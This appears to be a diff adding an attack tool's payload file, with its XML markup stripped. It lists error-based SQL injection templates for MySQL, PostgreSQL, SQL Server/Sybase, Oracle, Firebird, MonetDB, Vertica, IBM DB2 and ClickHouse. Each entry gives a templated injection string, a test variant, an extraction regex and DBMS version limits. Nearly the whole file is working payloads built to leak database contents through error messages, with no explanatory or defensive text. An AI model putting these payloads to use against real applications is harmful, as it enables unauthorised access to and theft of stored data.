+ AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.7.8
+
+
+
+
+
+ MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)
+ 2
+ 5
+ 3
+ 1,8,9
+ 1
+ OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
+
+ OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.7.8
+
+
+
+
+ MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
+ 2
+ 4
+ 1
+ 1,2,3,8,9
+ 1
+ AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
+ 2
+ 4
+ 3
+ 1,2,3,8,9
+
+ 1
+ OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
+ 2
+ 5
+ 1
+ 7
+ 1
+ (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+ (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
+ 2
+ 3
+ 1
+ 1,2,3,8,9
+ 1
+ AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
+ 2
+ 3
+ 3
+ 1,2,3,8,9
+
+ 1
+ OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
+ 2
+ 5
+ 1
+ 1,2,3,8,9
+ 1
+ AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
+
+
+ AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 4.1
+
+
+
+
+
+ MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
+ 2
+ 5
+ 3
+ 1,8,9
+ 1
+ OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
+
+
+ OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 4.1
+
+
+
+
+
+ MySQL OR error-based - WHERE or HAVING clause (FLOOR)
+ 2
+ 5
+ 3
+ 1,8,9
+ 2
+ OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
+
+ OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
+ #
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+
+
+
+
+ PostgreSQL AND error-based - WHERE or HAVING clause
+ 2
+ 1
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)
+
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL OR error-based - WHERE or HAVING clause
+ 2
+ 1
+ 3
+ 1,8,9
+ 2
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)
+
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
+ 2
+ 1
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
+
+ AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)
+ 2
+ 2
+ 3
+ 1,8,9
+ 2
+ OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
+
+ OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)
+ 2
+ 2
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
+
+ AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)
+ 2
+ 3
+ 3
+ 1,8,9
+ 2
+ OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
+
+ OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)
+ 2
+ 2
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)
+ 2
+ 3
+ 3
+ 1,8,9
+ 2
+ OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle AND error-based - WHERE or HAVING clause (XMLType)
+ 2
+ 1
+ 1
+ 1,9
+ 1
+ AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+ AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Oracle OR error-based - WHERE or HAVING clause (XMLType)
+ 2
+ 1
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+ OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
+ 2
+ 2
+ 1
+ 1,9
+ 1
+ AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+ >= 8.1.6
+
+
+
+
+ Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
+ 2
+ 2
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+ >= 8.1.6
+
+
+
+
+ Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
+ 2
+ 3
+ 1
+ 1,9
+ 1
+ AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
+ 2
+ 3
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)
+ 2
+ 4
+ 1
+ 1,9
+ 1
+ AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)
+ 2
+ 4
+ 3
+ 1,9
+ 2
+ OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Oracle
+
+
+
+
+ Firebird AND error-based - WHERE or HAVING clause
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ Firebird OR error-based - WHERE or HAVING clause
+ 2
+ 4
+ 3
+ 1
+ 2
+ OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Firebird
+
+
+
+
+ MonetDB AND error-based - WHERE or HAVING clause
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MonetDB
+
+
+
+
+ MonetDB OR error-based - WHERE or HAVING clause
+ 2
+ 4
+ 3
+ 1
+ 2
+ OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MonetDB
+
+
+
+
+ Vertica AND error-based - WHERE or HAVING clause
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Vertica
+
+
+
+
+ Vertica OR error-based - WHERE or HAVING clause
+ 2
+ 4
+ 3
+ 1
+ 2
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Vertica
+
+
+
+
+ IBM DB2 AND error-based - WHERE or HAVING clause
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 OR error-based - WHERE or HAVING clause
+ 2
+ 4
+ 3
+ 1
+ 1
+ OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+ ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
+ 2
+ 3
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ ClickHouse
+
+
+
+
+ ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
+ 2
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ ClickHouse
+
+
+
+
+
+
+
+
+ MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)
+ 2
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1)
+
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+
+
+ MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)
+ 2
+ 5
+ 1
+ 1,2,3,9
+ 3
+ (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ MySQL >= 5.5 error-based - Parameter replace (EXP)
+ 2
+ 5
+ 1
+ 1,2,3,9
+ 3
+ EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
+
+ EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.5
+
+
+
+
+ MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)
+ 2
+ 3
+ 1
+ 1,2,3,9
+ 3
+ GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)
+ 2
+ 5
+ 1
+ 1,2,3,9
+ 3
+ JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))
+
+ JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.7.8
+
+
+
+
+ MySQL >= 5.0 error-based - Parameter replace (FLOOR)
+ 2
+ 4
+ 1
+ 1,2,3,9
+ 3
+ (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.0
+
+
+
+
+ MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
+ 2
+ 4
+ 1
+ 1,2,3,9
+ 3
+ (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]))
+
+
+ (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)
+ 2
+ 2
+ 1
+ 1,2,3,9
+ 3
+ (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')))
+
+
+ (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.1
+
+
+
+
+ PostgreSQL error-based - Parameter replace
+ 2
+ 2
+ 1
+ 1,2,3,9
+ 3
+ (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+ (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL error-based - Parameter replace (GENERATE_SERIES)
+ 2
+ 5
+ 1
+ 1,2,3,9
+ 3
+ (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+ (CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase error-based - Parameter replace
+ 2
+ 3
+ 1
+ 1,3
+ 3
+ (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))
+
+ (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
